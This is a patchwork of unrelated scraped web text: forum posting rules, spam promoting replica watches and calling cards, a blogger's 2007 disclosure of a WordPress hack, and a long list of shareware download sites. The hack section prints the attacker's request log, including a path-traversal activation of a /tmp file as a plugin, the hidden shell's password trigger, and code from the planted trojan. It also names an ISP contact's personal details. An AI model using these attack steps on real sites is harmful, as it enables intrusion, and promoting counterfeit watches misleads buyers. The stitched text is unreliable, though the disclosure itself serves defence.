Some changes were made in the BST with the attempt to reduce useless posts along with bumping of threads, and to avoid affiliate links being sent via PM. Affiliate Links in PMs You MAY NOT post threads to promote affiliate programs via PM. Masking an affiliate link via PM or otherwise is still subject to an infraction. Trying to get around the ‘no affiliate links in PMs’ rule by instead linking to your own landing pages is still not allowed. That is still posting a thread to promote an affiliate program via PM! Making People Bump Your Threads for More Information You may not ASK for people to bump your thread by telling them to post things like, “I’m interested,” “PM me the details,” “Sold,” “Give me the money,” or other similar terms. (This includes things like asking “Who’s interested?” knowing you’ll get a bunch of bump posts, unless you specifically give instructions to PM you directly instead of posting in the thread.) You MAY NOT refuse to receive PMs if you’re not offering all product / service / offer details directly in your thread. If you don’t want to give the details in the thread then you HAVE to accept PM’s. - Note: This includes asking everyone to post their rates. If you don’t include the rates you’re paying for a service, you must accept those quotes via PM directly and not through thread bumping. If you respond to an OP’s request to post inappropriate thread comments (see above), you will receive an infraction for bumping, regardless of what the OP told you to do. In addition, when responding to someone’s thread, you may not post in the thread to “send more information,” “PM me the details,” or anything similar. If you are interested and don’t have a valid question that applies to everyone else then you must PM the OP.
A wrist watch covered with gold is a part of an image of any successful man regardless of it is a man or a woman. The one thing that can confuse even quite a wealthy man is the price which should be paid for the sign of prestige – a genuine golden Japanese watch. You may have known that the prime cost of the original Swiss watches can be for instance several hundreds dollars, while they can be sold for several thousands in case of breitling bentley watch. That is the basic motive why replica watches get more and more popular. If we are speaking about replica cartier watches we should mention that there are replicas that are identical to genuine watches. The difference is only in the clockwork and the substances.
A male watch is an integral part of style of every modern man who wants to be fashionable. If you are a considerable businessman you would better choose a classic watch, or a sport version for active persons. You have got an excellent opportunity to underline your personal status and display other people your personality. For any woman the perfect watch is the sign of the wealthy man and she would be pleased to look at you.
A female watch is a stylish accessory, brilliant adornment for your status, surely. The highest quality of the replica watches may be found in every part of the watch. The basic benefit of the replica watches is that you don’t have to pay huge amounts of money but buy the watches of the highest quality.
Most of replica watches are produced by real professionals in accordance with the functional and appearance similar to the genuine artwork. Lots of replica watches imply utilizing of Japanese and Swiss mechanisms, but the producers are situated in various countries. In Europe there are lots of developers in Austria and Belgium. Thanks to the technical progress we have a possibility to create the copies of original watches making even the littlest parts the same. Replica watch ought to have the same appearance as the genuine watch. In case you want to select a replica watch of the highest class, it is better to purchase a watch with Japanese or Swiss mechanism. Pay attention to the glass that is utilized in the watch. The glass of the greatest quality watches is commonly made of sapphire and the body should be created of the best material. Be thorough as there are a lot of unlawful companies which may sell you a bad replica watch and provide no guarantee service during a definite period of time. Replica watch may be an excellent gift for your mates or relatives and you won’t have to expend a lot to purchase tag heuer swiss replicas.
A phone card or calling card - a phone credit card with a Personal Identification Code (Pin) used for a pre-chosen international carrier when far from home or not at work. Verizon calling plans allow to dial a phone anywhere from Virginia Islands to India with a Phone Card dialing a preregulated number (not seldom toll free call). It is not fully free, like the majority Voice over IP carriers promote, but the quality is remarkable and you doen’t have to be on-line to make a
call. Give it a try!
International phone cards are rather sparing, often three times cheaper than collect calling, coin operated payphones or having the phone call invoiced to the hotel or motel room be it a call from Canada, US, Mexico City, Australia, Ireland or India. We recommend calling cards to India or prepaid Philippines calling cards in America - from the Earth to the Moon to 149 more countries…
Pre paid phonecards and monthly billed phone cards often offer aloud lower long distance rates (3 to 10 times) than the more traditional call services such as coin (landline), cellular (wireless) and collect calling. Additionally prepaid phone card calling rates remain the same no matter what time or day the call is placed.
Pre-paid cards have superseded coin pay phones and subsist with VoIP. Why to purchase? Calling cards are also extensively used to make domestic or international calls where the local phone carrier is unable to give low rates. Additional services: internet accounts, pinless dialing, SMS messaging, internet conference calls, voice-mail, mobile phone service, international call back.
Want to make a call? Then you’re prompted for a user ID and a Password or both, prior to dialing the indicated number they demand. “Card” is a misnomer as some through the Internet callingcards are widely available without the issue of an genuine plastic “credit card” and are released immediately in pin only form.
With a re-fillable call card you can in a minute add more calling time using a credit card. It is safe, because of the VeriSign SSL & HackerSafe modern technologies used. Calling service providers have toll-free numbers or you can go to their web stores. Certain cards permit you to prepay using drafts or checks - this obviously has a time implication and the recharge can take up to half a month to be activated. Up-to-date providers now have an email payment system like Google Checkout. Preserve up to 95% on your long distance call with discount rates from now on!
WordPress Security
You can protect your administration scripts (scripts under wp-admin), where most attacks originate including this one, by restricting access to your admin scripts to specific IP address or IP address range. You can also add a basic authentication on top of WordPress by using your httpd.conf file or .htaccess. This adds a layer of security which any hacker will have to overcome before he gets to your WordPress vulnerabilities.
This WordPress blog was hacked for few hours on 24th December (nice Christmas present!) from Russia. The hacker exploited several WordPress vulnerabilities in administrative scripts to gain full access to the website (as permitted to apache user), including the ability to upload & run scripts, delete any file owned by apache user, view the file and directories etc. This is a full disclosure on the how the site was hacked and how I detected and removed the hack along with few comments on the state of WordPress security. I added a WordPress plugin and made modifications to prevent any such hacking attempts in future using WordPress. This is a must read for WordPress bloggers.
How the site hacking was detected?
The website was normal. However when I tried to publish or even save a post, it simply showed a blank page. The post was never published or even saved. I knew something was wrong.
My first suspect were couple of plugins which contacted external servers after a publish. I disabled them. I also disabled the ping sites as they were sometimes known to cause problems. None of that helped. I progressively disabled all of the plugins. Even with all the plugins disabled, the post wouldn’t publish. I was left with only one option.
I decided to trace WordPress code to find out the cause of error. I started with the file for post submission - post.php. I found something startling with WordPress code which seriously undermines its security, a flawed design choice but more on it later. post.php calls admin.php which calls wp-config.php which in turn calls wp-settings.php. wp-settings is an interesting file. This file isn’t just about settings. It loads tons of files, loads and executes the plugins and more. The problem was, as I originally suspected, in the plugins but which one? The code which loads the plugins in WordPress is:
if ( get_option('active_plugins') ) {
$current_plugins = get_option('active_plugins');
if ( is_array($current_plugins) ) {
foreach ($current_plugins as $plugin) {
if ('’ != $plugin && file_exists(ABSPATH . PLUGINDIR . ‘/’ . $plugin))
include_once(ABSPATH . PLUGINDIR . ‘/’ . $plugin);
}
}
}
The active plugins, as you can see, are loaded directly with include_once. How do I find the plugin which while loading is causing the script to die?
I added simple syslog() statements before and after the plugin. However it generated copious output from all the traffic.
Remember I was debugging on a heavily trafficked live site. So I added a define in post.php which I was checking before doing a syslog. The debugging code was:
if (’’ != $plugin && file_exists(ABSPATH . ‘wp-content/plugins/’ . $plugin)) {
if(defined(’TG_ADMIN’)) syslog(LOG_ALERT, “Loading $plugin…”);
include_once(ABSPATH . ‘wp-content/plugins/’ . $plugin);
if(defined(’TG_ADMIN’)) syslog(LOG_ALERT, “Loaded $plugin…”);
}
The result was surprising. The first plugin loaded was not even a plugin I knew existed, let alone use it. It was named ro8kbsmawge.txt. The full path to the plugin was /../../../../../../../../../../../../../../../../../../tmp/ro8kbsmawge.txt
Effectively the file path was /tmp/ro8kbsmawge.txt. A telltale sign of this hacker is the presence of the file ro8kbsmawge.txt in your tmp directory.
I renamed the file and the problem was solved for now. I could publish posts finally. However my site was still not secure against future attacks. I will detail next at how I secured my site and provide more information on the perpetrator and how the site was hacked in the first place.
How the site was hacked using WordPress?
The site exploited a vulnerability in /wp-admin/options.php which allowed it to get the authentication cookies it required to upload the file ro8kbsmawge.txt to my /tmp directory using /wp-admin/inline-uploading.php. It then used /wp-admin/plugins.php to activate the ro8kbsmawge.txt as a plugin while using options-misc along the way.
Finally the hacker accessed the site using his magic word piska233 and browsed few directories on my server before retiring for the day. All of these was done within a span of 3 minutes which leads to the conclusion that a script was used to exploit the holes and orchestrate the hacking.
The full log, except the IP address 217.74.245.85 which was removed for redundancy, of hackers action on my site is:
[24/Dec/2007:07:40:22 -0600] “POST /wp-admin/options.php HTTP/1.0? 200 1713 “http://blog.taragana.com/wp-admin/options.php” “Opera”
[24/Dec/2007:07:40:24 -0600] “POST /wp-admin/options.php HTTP/1.0? 302 471 “http://blog.taragana.com/wp-admin/options.php” “Opera”
[24/Dec/2007:07:40:26 -0600] “POST /wp-admin/inline-uploading.php?post=-1&action=upload HTTP/1.0? 200 1645 “http://blog.taragana.com/inline-uploading.php?post=-1&action=upload” “Opera”
[24/Dec/2007:07:40:29 -0600] “POST /wp-admin/inline-uploading.php?post=-1&action=upload HTTP/1.0? 200 142 “http://blog.taragana.com/inline-uploading.php?post=-1&action=upload” “Opera”
[24/Dec/2007:07:40:52 -0600] “POST /wp-admin/options.php HTTP/1.0? 200 1713 “http://blog.taragana.com/wp-admin/options.php” “Opera”
[24/Dec/2007:07:40:54 -0600] “POST /wp-admin/options.php HTTP/1.0? 302 471 “http://blog.taragana.com/wp-admin/options.php” “Opera”
[24/Dec/2007:07:40:57 -0600] “POST /wp-admin/inline-uploading.php?post=-1&action=upload HTTP/1.0? 200 1645 “http://blog.taragana.com/inline-uploading.php?post=-1&action=upload” “Opera”
[24/Dec/2007:07:41:11 -0600] “GET /wp-admin/options-misc.php HTTP/1.1? 200 7764 “-” “Opera/9.24 (Windows NT 5.1; U; ru)”
[24/Dec/2007:07:41:15 -0600] “GET /wp-admin/wp-admin.css?version=2.0.7 HTTP/1.1? 304 - “http://blog.taragana.com/wp-admin/options-misc.php” “Opera/9.24 (Windows NT 5.1; U; ru)”
[24/Dec/2007:07:41:15 -0600] “GET /wp-includes/js/fat.js HTTP/1.1? 304 - “http://blog.taragana.com/wp-admin/options-misc.php” “Opera/9.24 (Windows NT 5.1; U; ru)”
[24/Dec/2007:07:41:12 -0600] “POST /wp-admin/inline-uploading.php?post=-1&action=upload HTTP/1.0? 302 - “http://blog.taragana.com/inline-uploading.php?post=-1&action=upload” “Opera”
[24/Dec/2007:07:41:21 -0600] “GET /wp-admin/plugins.php?action=activate&plugin=/../../../../../../../../../../../../../../../../../../tmp/ro8kbsmawge.txt&_wpnonce= HTTP/1.1? 200 1474 “http://blog.taragana.com/wp-admin/plugins.php?action=activate&plugin=/../../../../../../../../../../../../../../../../../../tmp/ro8kbsmawge.txt” “Opera”
[24/Dec/2007:07:41:23 -0600] “GET /wp-admin/plugins.php?action=activate&plugin=/../../../../../../../../../../../../../../../../../../tmp/ro8kbsmawge.txt&_wpnonce=7b4c8019bd HTTP/1.1? 302 - “http://blog.taragana.com/wp-admin/plugins.php?action=activate&plugin=/../../../../../../../../../../../../../../../../../../tmp/ro8kbsmawge.txt” “Opera”
[24/Dec/2007:07:41:30 -0600] “GET /?piska23 HTTP/1.1? 200 95716 “http://lamer/mwpep/?mode=shell&what=20? “Opera/9.24 (Windows NT 5.1; U; ru)”
[24/Dec/2007:07:41:36 -0600] “GET /?piska233 HTTP/1.1? 200 15840 “-” “Opera/9.24 (Windows NT 5.1; U; ru)”
[24/Dec/2007:07:41:44 -0600] “POST /wp-admin/options.php HTTP/1.1? 302 471 “http://blog.taragana.com/wp-admin/options-misc.php” “Opera/9.24 (Windows NT 5.1; U; ru)”
[24/Dec/2007:07:41:47 -0600] “POST /wp-admin/options.php HTTP/1.1? 302 471 “http://blog.taragana.com/wp-admin/options-misc.php” “Opera/9.24 (Windows NT 5.1; U; ru)”
[24/Dec/2007:07:41:55 -0600] “GET /?piska233&dira=/tmp HTTP/1.1? 200 9930 “-” “Opera/9.24 (Windows NT 5.1; U; ru)”
[24/Dec/2007:07:41:54 -0600] “GET /wp-admin/options-misc.php?updated=true HTTP/1.1? 200 7842 “http://blog.taragana.com/wp-admin/options-misc.php” “Opera/9.24 (Windows NT 5.1; U; ru)”
[24/Dec/2007:07:42:36 -0600] “POST /index.php?piska233&dira=./ HTTP/1.1? 200 36721 “http://blog.taragana.com/?piska233? “Opera/9.24 (Windows NT 5.1; U; ru)”
[24/Dec/2007:07:43:23 -0600] “GET /index.php?piska233&dira=./wp-content/plugins/Wysi-Wordpress/themes/advanced/docs/es/images HTTP/1.1? 200 6506 “-” “Opera/9.24 (Windows NT 5.1; U; ru)”
[24/Dec/2007:07:43:38 -0600] “GET /wp-content/plugins/Wysi-Wordpress/themes/advanced/docs/es/images HTTP/1.1? 301 298 “-” “Opera/9.24 (Windows NT 5.1; U; ru)”
[24/Dec/2007:07:43:40 -0600] “GET /wp-content/plugins/Wysi-Wordpress/themes/advanced/docs/es/images/ HTTP/1.1? 200 604 “-” “Opera/9.24 (Windows NT 5.1; U; ru)”
The good news is that no harm was done.
WordPress security issues & design flaw
The basic design flaw is that loading WordPress configuration (required for database access for authentication checks) loads wp-settings which loads tons of other PHP files as well as all the WordPress plugins and any hacks. All of these are done even before you have a chance to authenticate the user. This is extremely dangerous for administration scripts as it allows a hacker to pass arguments to and execute gazillions of WordPress files which may or may not have proper security checks in place. User authentication and entitlement should be done at the very beginning to prevent unauthenticated scripts from proceeding any further. To do that wp-config must be modified to not include wp-settings. It should be separately included where required, even at the cost of redundancy. Administration scripts (under wp-admin) requires only wp-config to get the database details to authenticate the user and identify its entitlements. After authentication the rest should be loaded. This flaw was exploited to get the authentication cookie details which was subsequently used. The exact exploit used in this case is hard to find from just server logs. However it was caused by late authentication problem as described above.
There arewere known issues with both options.php & upload script, some of which are detailed here.
One of the challenges with WordPress is that security considerations was mostly an afterthought (feel free to disagree) which were latched on as WordPress became more and more popular. You have to continuously update your WordPress to keep up with the latest patches.
There are 71 reported security advisories in Secunia (22 reported in 2007) and 9 viruses based on WordPress (one from 2007).
Most likely the site was hacked using the cookies authentication vulnerability as detailed here.
Several WordPress plugins and themes also have security advisories:
- AdSense-Deluxe 0.x (plugin for WordPress)
- AndyBlue 1.x (theme for WordPress)
- Blix 0.x (theme for WordPress)
- Blixed 1.x (theme for WordPress)
- BlixKrieg 2.x (theme for WordPress)
- Blue Memories 1.x (theme for WordPress)
- myGallery 1.x (plugin for WordPress)
- PictPress 1.x (plugin for WordPress)
- Pool 1.x (theme for Wordpress)
- Redoable 1.x (theme for WordPress)
You can read all the Secunia advisories on WordPress here.
Who was the hacker?
The IP address of the user responsible for hacking my site is 217.74.245.85. The IP address belongs to KUBANGSM-NET:
% Information related to '217.74.245.0/24AS29497' route: 217.74.245.0/24 descr: KUBANGSM-NET origin: AS29497 mnt-by: KUBANGSM-MNT source: RIPE # Filtered
It is owned by:
person: Volkov Denis address: 61, Gimnazicheskaya str. 350000, Krasnodar, Russia phone: +7 8612 660126 fax-no: +7 8612 401505 e-mail: d.volkov@kuban.mts.ru nic-hdl: VD370-RIPE source: RIPE # Filtered
Their website is http://www.kuban.mts.ru/. They appear to be legitimate mobile & internet service provider. Most likely their internet service is being abused by the spammer. Nevertheless I decided to ban this IP address from accessing my server.
The hacker was most likely using Opera 9.24 browser (almost latest version) on Windows XP (NT 5.1). While user agent can be faked, there is no reason to suspect so in this case. The user agent string also shows that he was using the russian language file of Opera.
Anatomy of the hacking script
The hacking script is a php script with a a nice comment and TODO line:
/*Magic Include Shell by Mag icq 884888*/
//TODO: ????? ????? ?? ???? ??? (!)
Effectively it is a file manager, probably adapted from any of the free php file manager’s on the net. It allows you to:
- Browse directories and files
- Edit files
- Rename files
- Delete files
- zip & unzip files
- Upload & download files & directories
- Execute arbitrary PHP scripts
- Execute arbitrary shell commands
- Provides basic server, system & PHP information
The bulk of the code is executed when it receives a particular query string to a normal HTTP GET request. So while http://blog.taragana.com/ will work as usual, http://blog.taragana.com/?piska233 will open with this magical hidden shell which will expose your entire website to an outside hacker.
Note: There is nothing magical about piska233. It is a password which was most likely allowed to be chosen and given as input to the original script which injected this trojan horse on my site.
A trojan which protects itself against worms…
The trojan takes steps to protect itself against worm! The code at the end which is always executed is:
$post_arr=implode('.',$_POST);
$get_arr=implode('.',$_GET);
$cook_arr=implode('.',$_COOKIE);
$post_arr_key=implode('.',@array_flip($_POST));
$get_arr_key=implode('.',@array_flip($_GET));
$cook_arr_key=implode('.',@array_flip($_COOKIE));
$other_shtuki=@file_get_contents('php://input');
$cracktrack = strtolower($post_arr.$get_arr.$cook_arr.$post_arr_key.$get_arr_key.$cook_arr_key.$other_shtuki);
$wormprotector = array('base64','user_pass','union','select','substring','or id=');
$checkworm = str_replace($wormprotector, '*', $cracktrack);
if ($cracktrack != $checkworm) die(”");
It checks for certain keywords (in $wormprotector array) within GET, POST & COOKIE data. When they are present it simply aborts. This is one of the means to detect the current version of the script. This is also the reason why it failed to submit a post. An url such as this would also die - http://localhost/wordpress/?select as would http://localhost/wordpress/?base64.
However there is nothing to be happy about. It will take less than a minute to modify the script and make it immune to detection in WordPress.
This is the list of sites we currently submit to. Note that not all sites will accept your title. For example, if you have a business utility, sites that list only games would not be appropriate for us to submit to since they will not accept that type of software. However, we can still guarantee that a huge number of sites will be submitted to. The list below currently has over 300 entries!
| DVD Software | www.dvdsoft.info |
| My Sharewares | www.mysharewares.com |
| academy-info.com | www.academy-info.com |
| Download Shareware | www.downloadshareware.com |
| SoftDownloadz.com | www.softdownloadz.com |
| Software Downloads | www.soft3k.com |
| GameThat.com | www.gamethat.com |
| Download Terra | www.downloadterra.com |
| Your AstroDownloads | www.astronomy-software.net |
| Download2me.com | www.download2me.com |
| Astrodownload.com | www.astrodownload.com |
| GodMoon.com | www.godmoon.com |
| Absolute Freeware | www.absolutefreeware.com |
| Shareware list | www.shareware-list.com |
| Pick Files | www.pickfiles.com |
| eCoservers.net | www.ecoservers.net |
| Shareware Promotion | www.shareware-promotion.org |
| Geek Info Web | www.geekinfoweb.com |
| Recentsoft.com | www.recentsoft.com |
| Shareware Laboratory | www.sharewarelaboratory.com |
| SoftwareDc | www.softwaredc.com |
| MacFiles.org | www.macfiles.org |
| Heise Software | www.heise.de/software |
| Ivertech Software Central | www.software.ivertech.com |
| Download Orchard | www.download-orchard.com |
| Your Free Files | www.yourfreefiles.com |
| ThePCFriends.com | www.thepcfriends.com |
| LeoFiles | www.leokrut.com/leofiles |
| AmazedGames.com | www.amazedgames.com |
| Data Mining Software Catalog | www.data-mining-soft.com |
| Free Downloads Planet | www.free-downloads-planet.info |
| ABCdatos Programas | www.abcdatos.com/programas |
| DoUpload.com | www.doupload.com |
| CoreDownload | www.coredownload.com |
| Shareware Download Box | www.shareware-box.com |
| Setup Group | www.setupgroup.com |
| Software Downloads 4U | www.software-downloads4u.com |
| Softs Land | www.softsland.com |
| Free Download | www.free-download.webzf.com |
| allapp | www.allapp.com |
| OpenScreensaver.com | www.openscreensaver.com |
| Mobile Phone World | www.digimobiles.net |
| Free-Download | www.webzf.com/padsite |
| Soft3000 | www.soft3000.com |
| LMPhotonics | www.sware.LMPhotonics.com |
| GonnaSoft.com | www.gonnasoft.com |
| Downloadery | www.downloadery.com |
| Download2you | www.download2you.com |
| DiscountFiles | www.discountfiles.com |
| DigiModes | www.digimodes.com |
| 123 Free Download | www.123-free-download.com |
| IT Shareware | www.itshareware.com |
| shareware5 | www.shareware5.com |
| Most Downloaded | www.most-downloaded.com |
| Software Sizzle | www.softwaresizzle.com |
| Desk Arsenal | www.deskarsenal.com |
| ZoomLoad.com | www.zoomload.com |
| FiveSign Network | www.fivesign.com |
| Dakota Downloads | www.dakotadownloads.com |
| PakShareware Spot | www.pakmed.net/pakshare |
| Xdownload.it | www.xdownload.it |
| Top Shareware | www.top-shareware.net |
| PALM Tools | www.palm-tools.com |
| OSX Tools | www.osx-tools.com |
| SYS Tools | www.sys-tools.com |
| Download-Up.com | www.download-up.com |
| 10000files.com | www.10000files.com |
| NPWare.org | www.npware.org |
| DVD Trades | www.dvdtrades.net/software/index.php |
| Download3k.com | www.download3k.com |
| FSSD | www.free-software-shareware-downloads.com |
| linXchange | www.software.linxchange.net |
| shareseek | www.shareseek.com |
| WordPerfect Software List | www.wordperfect.org/wplist |
| ReaderSoft | www.readerssoft.com/software |
| FreeShareWelt | www.freesharewelt.de |
| Download Gems | www.downloadgems.com |
| CRMX | www.crmx.ath.cx |
| Freeware Download Box | www.FreewareBox.com |
| Qtdd.com | www.qtdd.com |
| THKMCS | www.thkmcs.de |
| mp3cdsoftware.com | www.mp3cdsoftware.com |
| ZR Software | www.zrsoftware.com/SoftwareLibrary |
| Free PC Games | www.winpcgames.com |
| Games32Best | www.games32best.com |
| Soft32Best | www.soft32best.com |
| Wapti Software Downloads | www.wapti.com |
| Self Download | www.selfdownload.com |
| NewFreeDownloads.com | www.newfreedownloads.com |
| 10000apps | www.10000apps.com |
| Software-Picks | www.software-picks.com |
| TryShareware.com | www.tryshareware.com |
| Software maindot | www.software.maindot.com |
| PCcrown | www.pccrown.com |
| Files54.com | www.files54.com |
| myCmd | www.mycmd.com |
| Share32.com | www.share32.com |
| Freeware-base | www.freeware-base.de |
| Sharewareworld | www.sharewareworld.de |
| RESOURCEdb | www.resourcedb.com |
| 5starshare Software Downlaod | www.5starshare.com |
| Best Free Download | www.best-free-download.com |
| Share2udownload.com | www.share2udownload.com |
| File Converter Zone | www.convertzone.com |
| SoftListing | www.softlisting.com |
| e-SkySoft | www.e-skysoft.net |
| DigiMode Download Site | www.digimode10.com/index.php |
| Free Software Downloads | www.softjamboree.com |
| Tuxfiles Software Repository | www.tuxfiles.com |
| PC24hours.net | www.pc24hours.net |
| Greg’s Archive | www.inertiasoftware.com/software/index.php |
| Download GEMS | www.downloadgems.com |
| BestShareware Download | www.bestshareware.net |
| Download-Get | www.download-get.com |
| Hot Game Downloads | www.hotgamedownloads.com |
| 5Awards | www.5awards.com |
| Free Software | www.free-downloadable-software.com |
| SoftwareArchives.com | www.softwarearchives.com |
| LinkShareware | www.linkshareware.com |
| Developer-Tools | www.developer-tools.com |
| FindFreewares.com | www.findfreewares.com |
| DownloadFrenzy.com | www.downloadfrenzy.com |
| CubeShareware | www.shareware.cubereality.com |
| Findsharewares.com | www.findsharewares.com |
| Download Frenzy | www.downloadfrenzy.com |
| Freeware One | www.freeware1.com |
| Download Spin | www.downloadspin.com |
| Download.In.UA | www.download.in.ua |
| International PAD Database | www.paddb.com |
| Maxx Download | www.maxxdownload.com |
| Biggest Shareware Index | www.emu8086.com/soft |
| Download.com.ph | www.download.com.ph |
| Ware23 | www.ware23.com |
| GoBuySoftware | www.gobuysoftware.com |
| Service-1.org | www.service-1.org |
| SplashWeb | www.splashweb.com |
| EfreeDVD | www.efreedvd.com |
| CoolComputing Software | www.coolcomputing.com/software-store |
| Fast Download | www.fast-download.info |
| Planet Shareware | www.planet-shareware.com |
| Freeware Shareware Center | www.freesharewarecenter.com |
| cyhnet.com | www.cyhnet.com |
| Shareware Drome | www.sharewaredrome.com |
| Download To PC | www.download2pc.com |
| Windows, Mac & Mobile | www.trialware.in |
| Free Downloads at SoftHall.com | www.softhall.com |
| SoftWareBusters | www.softwarebusters.com |
| Hotdownloads.org | www.hotdownloads.org |
| www.Softows.com | www.softows.com |
| http://www.dogearprinting.com | www.dogearprinting.com |
| Yankee Download | www.YankeeDownload.com |
| File Picks | www.filepicks.com |
| Download Sidedc.Com | www.download.sidedc.com |
| Free Trial Downloads | www.freetrialdownloads.com |
| AnotherWin95.com | www.anotherwin95.com |
| FileValley | www.filevalley.com |
| do-download.com | www.do-download.com |
| File Portal | www.file-portal.net |
| Library of Exclusive Shareware | www.ziplib.com |
| FraseDiaria | www.frasediaria.com |
| SoftwareMASS | www.softwaremass.com |
| Mp3Starfish.com mp3 software | www.mp3starfish.com |
| Award for Best Screensavers | www.awardforbest.com |
| All and Best Screensavers | www.allandbest.com |
| FileTerra.com | www.fileterra.com |
| Macrodownloads | www.macrodownloads.com |
| MortgageTen.com | www.mortgageten.com |
| Fine Downloads | www.finedownloads.com |
| The Download Store | www.download-store.com |
| Justdosoft | www.justdosoft.com |
| EfreeDown | www.efreedown.com |
| AppDown.com | www.appdown.com |
| Download-game-demo.com | www.Download-game-demo.com |
| Stufware | www.stufware.com |
| 5Cup Software | www.5cup.com |
| SharewarePost | www.sharewarepost.com |
| Goloads.com | www.goloads.com |
| HiDownload.com | www.hidownload.com |
| Softs List | www.softslist.com |
| Sharesoftdownload | www.sharesoftdownload.com |
| DownloadChoice.com | www.downloadchoice.com |
| Windows-Software.com | www.windows-software.com |
| Shareware Shuttle | www.sharewareshuttle.com |
| CatDownload.com | www.catdownload.com |
| Geek Files | www.geekfiles.com |
| File Buggy | www.filebuggy.com |
| Downloads Plaza | www.downloadsplaza.com |
| AllforMP3.com | www.allformp3.com |
| DigiMode Media Players | www.digimode10.com |
| Free Download Games | www.free-download-game.com |
| WinPCWare | www.winpcware.com |
| eHot Scripts Repository | www.ehotscripts.com |
| ExeFiles.com | www.ExeFiles.com |
| ThunderWare | www.thunderware.us |
| GetYourFile | www.getyourfile.com |
| SubmitFile.com | www.submitfile.com |
| Download-Software-Freeware | www.download-software-freeware.com |
| FilesArchive.com | www.filesarchive.com |
| SplashWeb.com | www.splashweb.com |
| FreeFilesZone.com | www.freefileszone.com |
| DaolnwoD.com | www.daolnwod.com |
| SharewareShuttle | www.sharewareshuttle.com |
| 5StarShare.com | www.5starshare.com |
| SoftwareHat | www.softwarehat.com |
| Force10 | www.force10soft.com/PADProject |
| SoftwareInSearch | www.softwareinsearch.com |
| Geeez.com | www.geeez.com/software |
| FilesWeb | www.filesweb.com |
| itLocation | www.itlocation.com |
| 01-Download | www.01-download.com |
| File Arcade | www.filearcade.com |
| Freeware Arena | www.freewarearea.com |
| JakadsSoft | www.jakadasoft.com |
| Canadian Content Technology | www.canadiancontent.net |
| Program Junction | www.programjunction.com |
| Download-CC.com | www.download-cc.com |
| Cute Apps | www.cuteapps.com |
| EBooksLibrary | www.ebookslibrary.com |
| ScreenZaver | www.screenzaver.com |
| Finance-Soft.com | www.finance-soft.com |
| Vadino.com | www.vadino.com |
| Retailer Deals | www.retailerdeals.com |
| The Best Software Download | www.thebestsoft.com |
| Decent Downloads | www.decentdownloads.x-istence.com |
| Soft20.com | www.soft20.com |
| runterladen.de | www.runterladen.de |
| Bob’s Software Picks | www.soft.bobsoft.com |
| Ecommerce Soft.Net | www.ecommerce-soft.net |
| File Oasis | www.fileoasis.com |
| DiamondsLastForever.com | www.diamondslastforever.com |
| 3D2F.com | www.3d2f.com |
| FlyingMonkeyStick.com | www.flyingmonkeystick.com |
| PC Soft Land | www.pcsoftland.com |
| Shareware Hunter | www.sharewarehunter.com |
| Shareware Plaza | www.sharewareplaza.com |
| DownloadTip | www.downloadtip.com |
| Download Junction | www.downloadjunction.com |
| Softs.info | www.softs.info |
| Software 4 Fun | www.software4fun.de |
| Find Softwares | www.findsoftwares.com |
| Download 5000 | www.download5000.com |
| FilesClub.com | www.filesclub.com |
| Sprint Download | www.sprintdownload.com |
| Downloads Files | www.downloadsfiles.com |
| 4 Software Downloads | www.4-software-downloads.com |
| Amerifling | www.amerifling.com |
| Shareware Files.Com | www.sw-files.com |
| Handyarchive | www.handyarchive.com |
| WinSW.Com | www.winsw.com |
| Script Freebies | www.scriptfreebies.com |
| WindowsMirror.com | www.windowsmirror.com |
| Recover-Your-Passwords | www.recover-your-passwords.org |
| Try for Buy | www.Try4Buy.com |
| TrialFiles.com | www.trialfiles.com |
| euroDownload | www.eurodownload.com |
| FreewareTown | www.FreewareTown.com |
| The Snail - Fractals | www.snail-trail.com/java2004WEBAPP |
| soft2share | www.soft2share.com |
| Software Knowledge Base | www.softwarekb.com |
| Canistota Software | www.canistotasoftware.com |
| FreshFolder.com | www.freshfolder.com |
| Softsia.com Downloads | www.softsia.com |
| Download3000.com | www.download3000.com |
| Freedownloads.be | www.freedownloads.be |
| PerfectFreeware | www.PerfectFreeware.com |
| FileNode | www.filenode.com |
| SuperFolder | www.superfolder.com |
| Excel Add-ins | www.excelbusinesstools.com/solutions.htm |
| Biz2Consumer | www.biz2consumer.com |
| A List Downloads | www.alistdownloads.com/index.asp |
| Multimedia Zone | www.mars.netanya.ac.il:8080/~carbatzm |
| Amazing Savers | www.amazing-savers.gopages.net |
| Digital Photo World | www.members.lycos.co.uk/ofirga |
| Music Playing World | www.members.lycos.co.uk/chiwa |
| Best-Games | www.cochise.mta.ac.il:8080/~koguti |
| GivingFree.com | www.givingfree.com |
| FreeSoftwareHome.com | www.freesoftwarehome.com |
| My Pro-Choice Page | www.pro-choice.netfirms.com |
| Nir’s Games | www.nir1.freewebpage.org |
| Babbaks Video Tools | www.babbak.netfirms.com |
| ScriptBiz.com | www.scriptbiz.com |
| Share the Ware | www.sharetheware.com |
| 5 Star Files | www.5starfiles.com |
| Softizer | www.Softizer.com |
| Classic Games | www.2classicgame.netfirms.com |
| Music4All | www.music4all.p5.org.uk |
| pcShareware.net | www.pcshareware.net |
| Dudi Gany’s Downloads | www.dudigany.port5.com |
| Programmer’s Corner | www.corner.freewebpage.org |
| ShareTool.com | www.sharetool.com |
| The Simulation Site | www.the-simulation-site.gopages.net |
| File Turf | www.fileturf.com |
| File Lot | www.filelot.com |
| Windows-Games.com | www.windows-games.com |
| SoftwareWings.com | www.softwarewings.com/cont.en/thestore |
| Home Shareware | www.homeshareware.com |
| CRMDownload.com | www.crmdownload.com |
| DownloadDatabase.com | www.downloaddatabase.com |
| EcommerceDownload.com | www.ecommercedownload.com |
| WorkflowDownload.com | www.workflowdownload.com |
| DistributionDownload | www.distributiondownload.com |
| FinanceDownload.com | www.financedownload.com |
| MightyFiles.com | www.mightyfiles.com |
| macshareware.net | www.macshareware.net |
| BestSoftOrder | www.bestsoftorder.com |
| CuteDownloads.com | www.CuteDownloads.com |
| WebHosting-Files.com | www.webhosting-files.com |
| BrowseSoftware.com | www.browsesoftware.com |
| Ultimate Repository.com | www.ultimaterepository.com |
| Vonna.com Software Download | www.download.vonna.com |
| FinancialShareware.com | www.financialshareware.com |
| 1000apps | www.1000apps.com |
| FilesLand | www.filesland.com |
| SoftTester.com | www.SoftTester.com |
| 1000 Files | www.1000files.com |
| AB-Archive.com (Deutsch/English) | www.ab-archive.com |
| ActiveX Download.net | www.activex-download.net |
| Addmine | www.search.addmine.com.au |
| Afterwork Games | www.games.yamisoft.com |
| AFreeGo.com | www.afreego.com |
| BlueChillies.com | www.bluechillies.com |
| BrotherSoft | www.brothersoft.com |
| BUMPERSOFT | www.developers.bumpersoft.com |
